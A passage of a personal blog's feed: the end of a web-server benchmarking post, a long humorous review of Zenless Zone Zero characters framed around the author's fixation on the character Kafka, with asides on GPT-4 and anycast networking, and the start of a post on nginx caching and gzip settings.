  Latencies:
    Avg      Stdev    Min      Max
    1095.26ms  996.47ms  64.41ms  9934.41ms
  Requests:
    Total:  5238   Req/Sec: 174.59
  Transfer:
    Total: 538.67 MB Transfer Rate: 17.95 MB/Sec
</code></pre>
<p>Oh thank fuck. I love benchmarking.</p>
<p>For funsies, let's look at Static Web Server and Caddy again (I am not bothered to setup nginx once more).</p>
<p>This is Static Web Server.</p>
<pre class="prettyprint linenums"><code class="bash language-bash">$ rewrk -h http://10.0.0.4/post -t 30 -c 200 -d 30s
Beginning round 1...
Benchmarking 200 connections @ http://10.0.0.4/post <span class="hljs-keyword">for</span> 30 second(s)
  Latencies:
    Avg      Stdev    Min      Max
    1454.31ms  1442.76ms  68.78ms  12660.38ms
  Requests:
    Total:  3867   Req/Sec: 128.89
  Transfer:
    Total: 398.24 MB Transfer Rate: 13.27 MB/Sec
</code></pre>
<p>And this is Caddy.</p>
<pre class="prettyprint linenums"><code class="bash language-bash">$ rewrk -h http://10.0.0.4/post -t 30 -c 200 -d 30s
Beginning round 1...
Benchmarking 200 connections @ http://10.0.0.4/post <span class="hljs-keyword">for</span> 30 second(s)
  Latencies:
    Avg      Stdev    Min      Max
    1579.78ms  1506.73ms  81.18ms  11136.93ms
  Requests:
    Total:  3567   Req/Sec: 118.89
  Transfer:
    Total: 368.27 MB Transfer Rate: 12.28 MB/Sec
</code></pre>
<p>Phew… we had a little scare there, but everything is in it's right place once again and the Go programs are exactly where they should be.</p>
<p>At the bottom of the benchmarks.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Trying To Fill The Kafka Shaped Hole In My Heart With Zenless Zone Zero]]></title>
        <id>https://justin.duch.me/post/zenfull_area_one</id>
        <link href="https://justin.duch.me/post/zenfull_area_one"/>
        <updated>2024-08-05T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<blockquote>
  <p>You won't remember a thing except me.</p>
  <ul>
  <li>Kafka</li>
  </ul>
</blockquote>
<p><strong>Clickbait title:</strong> Justin's Most Deranged Blog Post Yet</p>
<p>It has been one year since <a href="/post/hsr_gacha">Mommy Kafka Gave Me A Gambling Addiction</a> and my obsession has only become worse.</p>
<p>I pulled for Kafka two more times and got her light cone during the banner re-run last January. I plan to do this again on the next re-run.</p>
<p><img src="/img/zzz_kafkae4.png" alt="Kafka e4" /></p>
<p>I put Kafka on my leverless.</p>
<p><img src="/img/zzz_controller.jpeg" alt="Kafka leverless" /></p>
<p>I cuddle with my cat Kafka bean cake plushie.</p>
<p><img src="/img/zzz_kafkabeancake.jpeg" alt="Kafka the Cat" /></p>
<p>I "cuddle" with my Kafka body pillow.</p>
<p>[IMAGE REDACTED]</p>
<p>I named my cat after Kafka.</p>
<p><img src="/img/zzz_kafkacat.jpeg" alt="Kafka the Cat" /></p>
<p>I named the <a href="/post/rust_infra">b8s</a> node closest to me after Kafka.<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span></p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>This is definitely on the same level as naming my cat Kafka. In fact it's probably even more meaningful because I get way too emotionally attached to code I write and treat all my tools as if they were children of my own blood. This isn't foreshadowing, I have never foreshadowed anything in my entire life.</span></aside>
<p><img src="/img/zzz_kafkab8s.png" alt="Kafka the b8s node" /></p>
<p>Mon esprit n'est que Kafka.</p>
<p><img src="/img/zzz_kafkame.png" alt="me think about kafka" /></p>
<p>But… it's not… <em>enough</em>. I need more! I need more <strong>Kafka</strong>.</p>
<p>SO WHERE IS SHE? WHERE DID SHE GO?</p>
<p>Why have I not seen her since the first chapter of the Luofu arc MiHoYo?? I NEED TO SEE HER AGAIN.</p>
<p>YOU'VE MADE THE PERFECT CHARACTER. Why are you even bothering with other characters let alone GAMES??</p>
<p>Wait… <strong>you made a whole new game</strong>? I can't see my mum because you were too busy MAKING THIS FUCKING GAME??????</p>
<p>Ok, ok, calm down me. Maybe is she in the new game?</p>
<p>No.</p>
<p>Is there anyone who looks or acts like her in it?</p>
<p>No.</p>
<p>mfw no Kafka.</p>
<p><img src="/img/zzz_mfw.png" alt="me think about kafka" /></p>
<p>But to be fair, game looks kinda fun. Maybe I will find a new Kafka!</p>
<p>Yes! That's what this post is about!! Going through the characters in the hot new gacha game Zenless Zone Zero (ZZZ) and finding a new Kafka! Isn't that exciting!!! You are very excited right now!! You are sweating with anticipation! Right on the edge of your seat!! TREMBLING WITH A BURNING DESIRE TO FIND A NEW KAFKA! You WANT to know if I will find a new Kafka!! You MUST know if I will find a new Kafka!!!!!</p>
<p>Please don't leave, this is important to me and I wish for you, my best friend, to support me in this endeavour.</p>
<p>Okie thanks for sticking around, let's go through ALL the characters and see if we can find a <strong>new</strong> Kafka!! YAY!!</p>
<p><img src="/img/zzz_nekomata.png" alt="nekomata" /></p>
<p>Wait a minute… oh my Bidoof… is that- is that… a brown Asian cat girl??!!</p>
<p>Excuse me!!?</p>
<p>Oh… she just like me… SHE JUST LIKE ME FR!!!!</p>
<p>Wow, a Southeast Asian<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span> in my Chinese video game? That's so crazy, I didn't even know that they knew of our existence (THIS IS A JOKE. I'm well aware of the "things" that have been and are happening).</p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>I know there's literally nothing that indicates this, and the game takes place in a fictional world so it's technically impossible. Just let me have this, it's not very often I get a representation win.</span></aside>
<p>So with a few 5 star/S tier agents, like Nekomata here, you get to go through "Agent Stories" which are quests that delve deep into the story of specific agents.</p>
<p>Nekomata has my favourite Agent Story so far. Every Agent Story, except for Soldier 11's (I'll get to her), uses an NPC as a sort of foil. They're usually utilised by the writers to reveal the Agent's internal conflicts and driving forces, and I think this was done best with Nekomata and Ollie.</p>
<p>This isn't really the place to recap the entire story, but in broad strokes; They developed one another in a compelling way, which created an engaging mini-narrative and added depth to Nekomata that would persist in future stories. Ollie's story enhanced Nekomata's by contrasting with her past struggles and her desire to be acknowledged by her family, which was evident at the beginning of the chapter where she was at odds with Anby (I'll get to her).</p>
<p>Wait, this is looking like an actual critique… sorry, let's get back on track.</p>
<p>UMM ALSO I THINK…</p>
<p>I THINK NEKOMATA IS CUTE AN- Oh no sorry, what I mean is, I think she is uhhh, <strong>adorable and amusing.</strong></p>
<p>The one thing I'm not super down for is that she's too happy and extroverted. That's not like me at all, I can't relate to that. It's also not very cat-like.</p>
<p>I mean, have you met a cat before?? They are NOT extroverted. Kafka (my cat) is deeply terrified of every new person that comes to my apartment. She's a little curious at first, but eventually just runs away.</p>
<p>Hang on, that's what I do as well…</p>
<p>Oh… she just like me… SHE JUST LIKE ME FR!!!!</p>
<p><img src="/img/zzz_anby.png" alt="anby" /></p>
<p>Anby (I got to her) is the cooler Soldier 11 (I'm still getting to her).</p>
<p>I like her because she has the sword like Raiden (from Metal Gear). And when she ults, she does the pose like Raiden (from Metal Gear). And she does lightning related things like Raiden (from Metal Gear). And when she runs, she deflects bullets automatically by wooshing her sword around like Raiden (from Metal Gear). And she has white hair like Raiden (from Metal Gear). And she seems like she'd have a dark past as a child soldier like Raiden (from Metal Gear). And she's definitely the type to return as a cyborg ninja in the follow up to one of the most meta-breaking narratives ever put in a video game before and since that probably shouldn't have gotten a follow up, because how tf are you actually supposed to follow that up without making several retcons and contradictions with past and future games but it's fine, I still love it because of the big robot fight and subsequent old man fist fight on the boat where they do the nostalgia bait with the music, like Raiden (from Metal Gear). And she's cute like Raiden (from Metal Gear).</p>
<p>I like Raiden (from Metal Gear), thus it follows that I like Anby (from Zenless Zone Zero).</p>
<p>Unfortunately as an A rank agent, she doesn't have an Agent Story so I can't talk about it, but I'm sure we'll see more of her in the future so there'll be more opportunities to learn about her. Also her name sounds like enby. I'm counting that as another representation win for me.</p>
<p><img src="/img/zzz_lycaon.png" alt="lycaon" /></p>
<p>I LOVE LYCAON.</p>
<p>I LOVE LYCAON.</p>
<p>I LOVE LYCAON.</p>
<p>I've been watching Ster for over 10 years, and I finally understand what he's been talking about all this time.</p>
<p>FURRIES ARE COOL AF.</p>
<p>And Lycaon is especially cool because his stat type is literally ice. I am very clever.</p>
<p>I love his whole design, from the robots legs that have thrusters attached, to his… whatever that is on his face, to his big fluffy tail!</p>
<p>His storyline was great. While having the proper, formal gentleman being haunted by ghosts of a dark and mysterious past is a little trope-y (but it makes sense for stories in this game to be trope-y, with the whole "cinema" theme), I think it was well executed here, again with the help of an NPC foil.</p>
<p>It gave as an intriging picture of his past and while staying open ended so we could look forward to see how it continues in the future.</p>
<p>If there's one critisism I have with him, it's that he's too sound of mind and I don't like that in people, it's boring. He seems to be regretful of his past, so he might have been a little more spicy back then. We'll see when they continue his story (they fucking better, or else).</p>
<p>Also for tax purposes I am now stating that my fursona is a red panda.</p>
<p><img src="/img/zzz_rina.png" alt="rina" /></p>
<p>Rina was the person who I originally thought would be most likely to be able to replace Kafka. Probably from the mommy vibes.</p>
<p>I dunno, she's fine.</p>
<p>Her Agent Story was good, even if giving someone sci-fi dementia is always a kinda cheap way of getting sympathy,<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span> it was still touching. I think seeing how Rina did her job as a maid for the NPC foil (like Lycaon) went a long way to characterise her. And her backstory about her bangboo doll was very bittersweet.</p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>I always zoned out in HSR whenever Firefly talked about her space cancer, I do not like Firefly. And I don't like how the game keeps trying to gaslight me into liking her. Like she's literally in the same group as Kafka, whenever I see her I'm just reminded that I'm not SEEING KAFKA.<br/><br/>The robot is cool tho, so I still pulled for her.</span></aside>
<p>But as the initial hope as the new Kafka, the expectations of her from me were probably too high. Add that to the fact that she seems like she's just straight up a nice and good person and isn't very manipulative and morally gray like Kafka is, and she starts disappointing.</p>
<p>I know it's not really her fault she got over-hyped in my head and had to be compared to literal perfection. But it is what it is.</p>
<p><img src="/img/zzz_zhuyuan.png" alt="zhu yuan" /></p>
<p>What the hell, why did they have to make the most attractive character a cop? That's so lame. I can't simp for a cop. I know Kafka is a mass-murdering criminal but I'm sorry, on the scale of things I can tolerate, the line stops at the police.</p>
<p>So you might then wonder why pulled for her.</p>
<p>And that's because she's fun to play. I mean just look at this.</p>
<p><img src="/gif/zzzrungyatt.webp" alt="butt" /></p>
<p>Like holy hell, why did they put handlebars on her ass? That's fucking <del>awesome</del> stupid.</p>
<p>No but actually, she is unironically fun to play. Her fighting style is a treat. Everything about her gameplay is just pure <a href="https://en.wikipedia.org/wiki/Gun_fu">gun fu.</a></p>
<p>The over the top effects and explosions everywhere, the high mobility of her guns to create a fluid mix of martial arts and guns in her moveset. As much as I hate to admit it, her being a cop is thematically appropriate with the Hong Kong action cinema she is inspired by so it makes a lot of sense.</p>
<p>But enough about that, I think I'm going to need to prove I'm not a sexist and misogynist, so we're going to talk about her personality too.</p>
<p>So, she's… uh… a cop right?</p>
<p>And she… works hard.</p>
<p>And she… is… a nice person that cares about justice… or whatever it is that copaganda usually tries to tell you.</p>
<p>Ok got all that? Great.</p>
<p>To end, I thought it'd be really funny and clever to call her "lipstick on a pig," but like…</p>
<p><img src="/gif/zzzgyatt.gif" alt="butt" /></p>
<p>I have never been so conflicted before in my life.</p>
<p><img src="/img/zzz_grace.png" alt="grace" /></p>
<p>I love Grace because she is obsessive over her robots and robots in general, to the deteriment of all her human connections and relationships.</p>
<p>Oh… she just like- no, I'm not doing that again.</p>
<p>But her Agent Story is literally about how you should love your tools and treat them with care so they do a good job. At least, I'm pretty sure that's what it was about. I <em>might</em> be projecting.</p>
<p>But I totally get what she's talking about, let me tell you a story.</p>
<p>So over two years ago for work, I was tasked with a very simple project to get emails from an inbox and import them into our system if they were a press release, along with information about who the press release came from.</p>
<p>Haha yeah I say simple, if you're a programmer you'd know - that is not simple.</p>
<p>Anyway I came back with a <a href="https://arxiv.org/abs/cs/9401101">teleo-reactive</a>
inspired system that acted as a sort of autonomous agent for the problem. I trained a BERT model from hundreds of thousands of press releases already in our system to determine if a piece of text was a press release. If the email itself wasn't a press release but a link to it, I setup a whole bunch of heuristics to find the link to the press release in the email. And I used <a href="https://en.wikipedia.org/wiki/Named-entity_recognition">named-entity recognition</a> and some more heuristics to determine who to assign to the press release.</p>
<p>This was probably my magnum opus. Like there are so many edge cases to literally every email, that there basically aren't any edge cases, it's <strong>all edge</strong>. And I got around an 80% accuracy with this in two weeks and around 800 lines of code.</p>
<p>That's been humming along great for two years but at some point, I had a realisation. All of this could have been done with an API call to GPT-4, and it probably would have been more accurate.</p>
<p>I did a quick tests on GPT-4 with emails that the system failed to ingest and yeah, GPT-4 could figure them all out.</p>
<p>So when I got another two weeks to improve the system a few months ago I had a choice to make, I could either spend more time on getting small benefits from making adjustments to the BERT model and my heuristics, or I could just rip its guts out and replace them with the soulless blackbox from OpenAI for what I was certain would be a big increase in accuracy.</p>
<p>Seeing over 400 red lines in the GitHub diff viewer hurt me on a spiritual level I have never felt before. I murdered my child.</p>
<p>For what?</p>
<p>Getting a 95% accuracy rate, and one that is much easier to adjust and improve?</p>
<p>Yeah actually, that was probably worth it. Or at least that's what I keep telling myself. Sure, it's now over twice as expensive to run as it was before, but system had become critical to the business so everyone was apparently okay with that.</p>
<p>But I don't like relying on other people (or rather, their code), especially when I have no oversight into it and it's hard to understand what it's doing. And it made me feel like I failed in some way. Like I wasn't good enough to keep it alive.</p>
<p>I've never felt real phantom pain, but I imagine this is what it's like. Yeah… this is for sure going to get me on r/programmingcirclejerk.</p>
<p>Anyway for a more recent example (we aren't done here, you <strong>will</strong> read my trauma dumping), quite literally the day after I posted about my <a href="/post/rust_infra">geolocation infrastructure,</a> I learnt about <a href="https://en.wikipedia.org/wiki/Anycast">anycast networking</a> and had my entire being yeeted into the astral plane, as I disassociated from the very idea of having to dropkick my dear, lovely DNS servers into the aether.</p>
<p>I was going to make another post about it, but here's probably fine right? I'm sure you won't mind.</p>
<p>So in an anycast configuration, multiple servers located in different geographic regions share the same IP address. This means that when a user sends a request to the anycast IP, the request is routed to the nearest or best-performing server based on current network conditions. The decision on which server to route to is made dynamically by the existing network infrastructure, using routing protocols such as the Border Gateway Protocol (BGP).</p>
<p>BGP would also be able to effectively act as my load balancer and failover mechanism (something I don't have and have been planning to add to b8s) as when one server fails or becomes unreachable, the network would start redirecting traffic to another without any input from me or my code.</p>
<p>This is a clear improvement over my solution of geolocation routing. It is less code for me to write (thus being less likely I fuck something up) and theoretically simpler to implement. It's the GPT-4 situation all over again. But… my DNS servers, I put so much love into you, I can't give up on them ;(</p>
<p>Ok so I say theoretically simpler to implement, I'm just assuming getting an IP address and assigning routing tables is simple. What's it actually take to do this thing?</p>
<p>So to set up an anycast network you first need an Autonomous System Number (ASN). This is a unique identifier used by other Autonomous Systems (AS) to announce paths to reach your network via BGP. ASNs are managed by five Regional Internet Registries (RIRs), each responsible for overseeing ASNs within specific geographic regions of the world.</p>
<p>After going through the website for the <a href="https://www.apnic.net/">Asia Pacific Network Information Centre</a> (APNIC) which would be my RIR, it seems like I would need to be an organisation to apply for an ASN. Now I technically own a business, but it is a sole tradership so I don't think that would count.</p>
<p>There's also membership fees. With APNIC, the sign-up fee is $500 AUD and the annual membership fee is at a minimum of $1,180 AUD.</p>
<p>That's… quite a lot.</p>
<p>Though honestly, I could afford that with minimal impact to my financial situation. It's certainly better than spending that much on gambling for virtual waifus.<span class="footnote-link" id="footnote-5"><sup>(5)</sup></span> But even still like, do I want to afford it?</p>
<aside class="footnote-body" id="footnote-5-body"><sup>(5)</sup><span>It's not that much higher than the amount it would cost getting all of Kafka's eidolons as I plan to.</span></aside>
<p>Anyway there's a small chance I could figure all this out, so let's imagine I am allowed to get an ASN and have no issues with the fees, what else is there?</p>
<p>With the ASN, you're entitled to request IP addresses. Unfortunately, you can't just buy one IP address, you need an entire block. The minimum IP prefix is <code class="prettyprint">/24</code> for IPv4 and <code class="prettyprint">/48</code> for IPv6. This is so the routing tables that ASs manage don't grow too large.</p>
<p>Then you will need to decide whether you want to buy or lease an IP block. I don't intend to stop this blog anytime in the near future so buying would probably be the best option for me.</p>
<p>So just looking at <a href="https://auctions.ipv4.global/">auctions.ipv4.global,</a> I can see that the average price for a <code class="prettyprint">/24</code> IP block in APNIC is around $9,000 USD. Oh…</p>
<p>Ok yeah that's way too much. This idea can go straight to the trash. Bye bye.</p>
<p>That was a close one, thank Bidoof and the limited IPv4 address space that I don't have to replace my DNS servers, my precious little ones! I love them so much, how could I have ever thought of getting rid of them??! Of course I can't get rid of them, they're made in Rust!! They're memory safe 🦀 and blazingly 🔥 fast 🚀! What a fool I was, even thinking about replacing them!</p>
<p>…wait, how did we get there? What were we talking about again?</p>
<p>Oh right, the anime waifus.</p>
<h2 id="everyoneelse">Everyone Else</h2>
<p>Here's everyone else that I don't have much to say about.</p>
<ul>
<li><strong>Koleda:</strong> Her Agent Story was quite good, going through concepts of adulthood and family which provided an extra dimension to Koleda's actions in the main story. Also the idea of having her pretend to be a child to infiltrate a school was very funny, but I mostly just liked that Grace was there too, I guess.</li>
<li><strong>Anton:</strong> I don't like how Anton is the only human male in the game. I want my boys! Where are they?? Like Star Rail launched with Dan Heng and Gepard! Those are the best boys I've ever seen!! And all the new boys (eg. Dr. Ratio and Aventurine) are super shippable. I've not felt any desire to ship anyone let alone some hunky boys in ZZZ. Anyway, Anton is a bro which is cool, I guess.</li>
<li><strong>Ben:</strong> Literally a bear. Accounting bear. Not really what I meant when I said I wanted hunky boys but that's cool, I guess.</li>
<li><strong>Soldier 11:</strong> We didn't really get to understand her motivations from her Agent Story, as we were only shown an unexplained sense of duty to the Defence Force (which is almost as bad as being a cop), and some clear parallels to Anby (ie. she likes noodles, while Anby likes burgers). She isn't in the main story yet, so I'm assuming that, and her relation to Anby will be explained at some point. Also she has the Exceed mechanic (except easier to do, and less useful) like Nero (from Devil May Cry). Overall, just the less cooler Anby, I guess.</li>
<li><strong>Billy:</strong> He seems nice, I guess.</li>
<li><strong>Nicole:</strong> She seems nice, I guess.</li>
</ul>
<p>Anyway so that was EVERY character in ZZZ. To finish, I've made a tier list of who's most likely to be a Kafka replacement. But for some reason the template I used included a bunch of characters that aren't real/in the game. I dunno what's up with that, maybe they were included like how <a href="https://en.wikipedia.org/wiki/Trap_street">trap streets</a> are in maps or something like that.</p>
<p>Either way, I just put them in a "Not Real" category.</p>
<p><img src="/img/zzz_tierlist.png" alt="tierlist" /></p>
<p>So it's a little more clear on how I feel about the characters (keep in mind C is a passable grade, I don't hate anyone), but making this tier list made me realise something.</p>
<p>Having to do this means that none of them could be the new Kafka. The fact that I'm debating over them means I would never obsess over them as much as I do with Kafka.</p>
<p>Kafka is not debatable.</p>
<p>Would I be doing a post called "Trying To Fill The [Nekomata/Grace] Shaped Hole In My Heart With [New Game]" when the new Animal Crossing inspired Hoyoverse game comes out?<span class="footnote-link" id="footnote-6"><sup>(6)</sup></span></p>
<aside class="footnote-body" id="footnote-6-body"><sup>(6)</sup><span>This is a real thing that appears to be happening.</span></aside>
<p>Probably not.</p>
<p>If I get a new cat would I name them Nekomata/Grace?</p>
<p>Probably not. Well actually Nekomata is literally a cat so there's a decent chance of that, but I think I'm more likely to go for Furina<span class="footnote-link" id="footnote-7"><sup>(7)</sup></span> or something.</p>
<aside class="footnote-body" id="footnote-7-body"><sup>(7)</sup><span>Furina probably would be the new Kafka if I actually played Genshin Impact. But that ain't ever fucking happening.</span></aside>
<p>There is no replacement for Kafka. Kafka cannot and will not be replaced. Kafka is ONE, Kafka is ONLY. KAFKA IS THE ALPHA AND THE OMEGA.</p>
<p>I BELIEVE IN KAFKA SUPREMACY.</p>
<p><img src="/img/zzz_kafkareaction.png" alt="live kafka reaction" /></p>
<p>Thanks for letting me waste your time, this is why we're best friends.</p>
<h2 id="epilogue">Epilogue</h2>
<p>Ok so I had this whole rant about how the game was too easy even when doing the <em>supposedly</em> hardest content. But it was kinda stupid and unhelpful. This is a mobile game (or game that can be played on mobile) aimed at mass market appeal to sell waifus. Of course it's going to be easy.</p>
<p>But I really want to complain about something, so instead let's talk about skill expression.</p>
<p>When first seeing this game, I originally assumed changing characters would be functionally equivalent to a weapon switch mechanic in any other <em>good</em> action game, where weapons have moves with synergy that you use to string combos together.</p>
<p>Like if for instance, you were able to use Anby's launcher to switch into a Zhu Yuan gun juggle, finishing into Nicole's gravity blast attack thing as they land.</p>
<p>But no, Anby's launcher is not actually a launcher because nobody in this team can do anything with it. Zhu Yuan can't juggle because she can't shoot enemies in the air. Nicole's gravity blast attack thing <em>can</em> hit enemies as they land, except only when from an assist but it's not like it really matters at that point.</p>
<p>The game is very flowchart-y, but there's only like 4 flows in the chart and they don't interact or connect to each other at all. I think a non-zero amount of that is due to the set roles. Like here's the actual game plan for our Anby, Zhu Yuan, Nicole team (and basically every other Stun, Damage, Support team - which is all of them if you want to play optimally):</p>
<ol>
<li>Keep hitting Anby's basic (and only) 3-hit combo extensions, EX specials, and dodge counters for posture damage.</li>
<li>When posture breaks, assist follow-up to Nicole to apply her passive.</li>
<li>Assist follow-up to Zhu Yuan and hold the attack button until the posture recovers (then go back to number 1) or the enemy dies.</li>
</ol>
<p>This is how you play against every enemy.<span class="footnote-link" id="footnote-8"><sup>(8)</sup></span> I won't say it's easy (it is), but it certainly gets stale.</p>
<p>Ok actually it changes a little depending on what you're fighting. Like if it was a group of small and weak enemies you would crowd control with Nicole and her gravity thing to bunch them up, then just hold the attack button with Zhu Yuan. But again, 4 flows in the flowchart that are just straight lines with no complexity.</p>
<aside class="footnote-body" id="footnote-8-body"><sup>(8)</sup><span>It's kinda funny how this is also the problem I have with Dark Souls combat.</span></aside>
<p>There are little mechanics to each character that you can use for a tiny bit higher of a skill ceiling. But all of these can be figured out by just reading their abilities page. There's no real ability for creative experimentation or discovery in any moveset.</p>
<p>Like I get the game needs to be playable on a phone, and thus has to be accessible to "casuals"<span class="footnote-link" id="footnote-9"><sup>(9)</sup></span> with a simplified control scheme, but there are plently of other casual games with optional complexity. Couldn't you have added like a few moves that combo into each other, as a little treat for the people who actually want to try something a tiny bit more mechanically interesting.</p>
<aside class="footnote-body" id="footnote-9-body"><sup>(9)</sup><span>I wouldn't call a game "casual" just because it's on a phone, it's just a different input device. A lot of mobile rhythm games in particular are just as "hardcore" as their PC/console counterparts.</span></aside>
<p>Just having a jump button, and being able to hit enemies mid-air would open so many avenues. I know that's a decent amount more work, since it essentially doubles every character's movesets, but MiHoYo literally makes hundreds of millions of dollars every month, I don't think it would be much of an issue for them.</p>
<p>If that happened, you could add a style meter<span class="footnote-link" id="footnote-10"><sup>(10)</sup></span> which would lessen the impact of the game being too easy. Since there's now an intrinsic reward for trying to get good and achieve a high style score for the people who want that, instead of just playing to finish the level.</p>
<aside class="footnote-body" id="footnote-10-body"><sup>(10)</sup><span>Ultrakill (an FPS) proved literally every game in this genre would be better with a style meter. I still don't understand why it's basically just a Devil May Cry thing, Metal Gear Rising in particular desperately needed it (as well as instant weapon switching, but let's not get into that).<br/><br/>As it stands right now, a style meter wouldn't work with ZZZ since each character only has like 3 moves. You literally can't be stylish.<br/><br/>And yes, I've gone out to find cool looking "high level" gameplay on Bilibili. Ignoring the fact that most of these require "suboptimal" team composistions due to a certain mechanic I will get into later. That isn't stylish, that's just how your supposed to play the game. I'm sorry, but the game only has a 20 cm space between the skill floor and skill ceiling. 60% of that is just reading what your agents do, and another 30% is a reflex test for if you can hit the right button when the flashing light appears, leaving only 10% for the actual interesting things like animation/assist cancelling, that actually aren't that interesting.<br/><br/>But seriously, the fact that Anby has an ACTUAL, REAL LAUNCHER THAT ACTUALLY LAUNCHES ENEMIES INTO THE AIR FOR REAL and you can barely do anything with it is a sin against everything I love about video games.<br/><br/>Yes I know this aside has gotten so long that it should probably have been in the main body and that some people really hate when I do this.<br/><br/>But fuck you, I'm going to make it longer.<br/><br/>Have you played 1000xRESIST? What an absoluetly wonderful game. It's always good to remind yourself of what a video game can really be. A shame those at MiHoYo might not be able to play it since it's banned in mainland China. The writers (at least for Honkai: Star Rail) seem quite well read, and this would be right up their alley (if they're Hong Kong liberation sympathisers).</span></aside>
<p>It would then be nice if it wasn't just an intrinsic reward, you could also have a separate ranking in Shiyu Defence. One for your boring-ass DPS check that just tests you on how much money you spent, or how much time you've been grinding for a good disc drive (which could also involve spending money). And one for actually being good at the game.</p>
<p>The best part of any good hack-and-slash (and Ultrakill) is being able to look and feel like your doing something impressive and cool. ZZZ does a lot for the "looking cool" aspect, but doesn't have the substance to actually back it up.</p>
<p>It plays more like an ARPG (eg. Diablo, Path of Exile, Hades, etc) without any of the things that make an ARPG satisfying or interesting to play, and all of the bad parts like the lack of a jump button limiting arena design to essentially being just a flat rectangle (the lack of any real environmental hazards also don't help). To be more inline with an ARPG it could have used a top-down perspective, but that probably wouldn't have gone down well with the "casuals" so is instead given the camera problems of every other third-person action game without any of the benefits (and is also made harder to play on a phone).</p>
<p>No actually I take that back, top-down ARPGs aren't unpopular with "casuals." look at the little game by indie game developer Activision Blizzard, Diablo Immortal (2022) for a counterexample. Yeah I know, <strong>you</strong> don't like the game because it isn't Diablo II (and you're right to think that), but you might not know that it's actually been <strong>wildly successfull</strong> (especially in China) and passed $100 million USD revenue in its first eight weeks. The game itself is honestly pretty decent (as a mobile game entry to a game series which has one of the best games ever made) but very predatory. Hey, doesn't that sound familiar?</p>
<p>A top-down approach would also allow you to move the complexity from the agents into the enemies/bosses to create more dynamic fights. In Furi (2016) for example, there are even less ways to express combat but it's much more engaging (and fun). Now that's partly because of the difficulty, but mostly because of how Furi adds variety and intricacy in its boss design through incorporating patterns in other genres such as bullet hells.</p>
<p>Yeah I know Furi had its problems with not being able to properly integrate these different elements of itself together, where gameplay was a mediocre hack-and-slash during the in hack-and-slash phase of the fight which then suddenly became a medicore bullet hell during the bullet hell phase of the fight. But surely infinite money MiHoYo could do better in finding ways to seamlessly merge genres than a tiny French indie (but actually this time) game studio.</p>
<p>This game is nothing but missed opportunity. There's this incredible cast of interesting, varied, and fun characters, and yet the only nice thing I can say about Zhu Yuan's gameplay is that it looks cool and has cool animations. Not any interesting tech, not how it interacts with anything in the environment, just that her spinny flips hasn't run its course on me yet.</p>
<p>Oh I just remembered I was supposed to talk about the bullshit "Additional Ability" mechanic which gives bonuses if certain agents that match requirements (normally being of the same faction, or having the same attribute) are on the same team. What an awful fucking mechanic that does nothing but restrict team building. This is not a sign of a game that wants you to experiment with it's combat, but play the way <strong>they dictate</strong> so they can balance the game around having to buy more fucking waifus as the old ones become stagnant and boring.</p>
<p>I dunno, every thing about this game feels so held back.<span class="footnote-link" id="footnote-11"><sup>(11)</sup></span> Like you can tell it's trying it's hardest, but the material conditions of it's environment forbid it. It's hard to enjoy the game when you're constantly second guessing every game mechanic wondering if it's just bad, trying to exploit you, or both.</p>
<aside class="footnote-body" id="footnote-11-body"><sup>(11)</sup><span>I'd say the same about Honkai: Star Rail, but I don't play enough turn-based RPGs to be able to describe what feels wrong about it.</span></aside>
<p>And I know the excuse is "well Justin, if the game wasn't a gacha it probably wouldn't exist."</p>
<p>Yeah, maybe.</p>
<p>But if it wasn't a gacha it might actually have been good.</p>
<p>If they add a Kafka expy I will change my mind tho.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Premature Optimisation]]></title>
        <id>https://justin.duch.me/post/premature_optimisation</id>
        <link href="https://justin.duch.me/post/premature_optimisation"/>
        <updated>2024-07-22T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>This post is a sort of small addendum to the last one. I realised that I could do a lot more to squeeze out performance from this blog, and decided to write about it.</p>
<p>Let's look at changes I did to the nginx config. And uhh, I don't know how I'm going to explain myself with this. I'll just let the change speak for itself. I apologise in advance.</p>
<pre class="prettyprint linenums"><code class="nginx language-nginx"><span class="hljs-section">location</span> <span class="hljs-regexp">~* \.(?:png|jpg|jpeg|avif|webp|gif|ico|svg|mp4|mp3|webm)$</span> {
    <span class="hljs-attribute">expires</span> <span class="hljs-number">30d</span>;
    <span class="hljs-attribute">add_header</span> Cache-Control <span class="hljs-string">&quot;public&quot;</span>;
}

<span class="hljs-comment"># CSS and JS are cache busted with SvelteKit asset hashing</span>
<span class="hljs-comment"># and fonts don&#x27;t change</span>
<span class="hljs-section">location</span> <span class="hljs-regexp">~* \.(?:css|js|woff|woff2)$</span> {
    <span class="hljs-attribute">expires</span> max;
    <span class="hljs-attribute">add_header</span> Cache-Control <span class="hljs-string">&quot;public&quot;</span>;
}
</code></pre>
<p>Yeahhhhhh soooooo… I didn't have a cache this entire time. In fact for the entire 7 years of this blog's existence, I don't think I've ever setup a cache for it.</p>
<p>OK CHILL, I GET IT! I know this is an irredeemable oversight. It's practically free performance, and I just fucking ignored it for 7 years. I literally went to write my own DNS server for geolocation routing before adding 4 lines to my nginx config ffs.</p>
<p>Chat am I cooked? Like what the fuck is wrong with me?</p>
<p>But to be fair, a cache isn't the most important thing for a blog. Initial load times are more important than subsequent navigations as most users only read a single post then leave. But still bro, like wtf, you know???</p>
<p>Anyway, I also improved on the gzipping nginx does. Things were being gzipped before, but this configuration expands the list of files to be compressed. As well as some slight tuning to how/when files are gzipped.</p>
<pre class="prettyprint linenums"><code class="nginx language-nginx"><span class="hljs-attribute">gzip</span> <span class="hljs-literal">on</span>;
<span class="hljs-attribute">gzip_disable</span> <span class="hljs-string">&quot;msie6&quot;</span>;
<span class="hljs-attribute">gzip_proxied</span> any;
<span class="hljs-attribute">gzip_vary</span> <span class="hljs-literal">on</span>;
<span class="hljs-attribute">gzip_comp_level</span> <span class="hljs-number">6</span>;
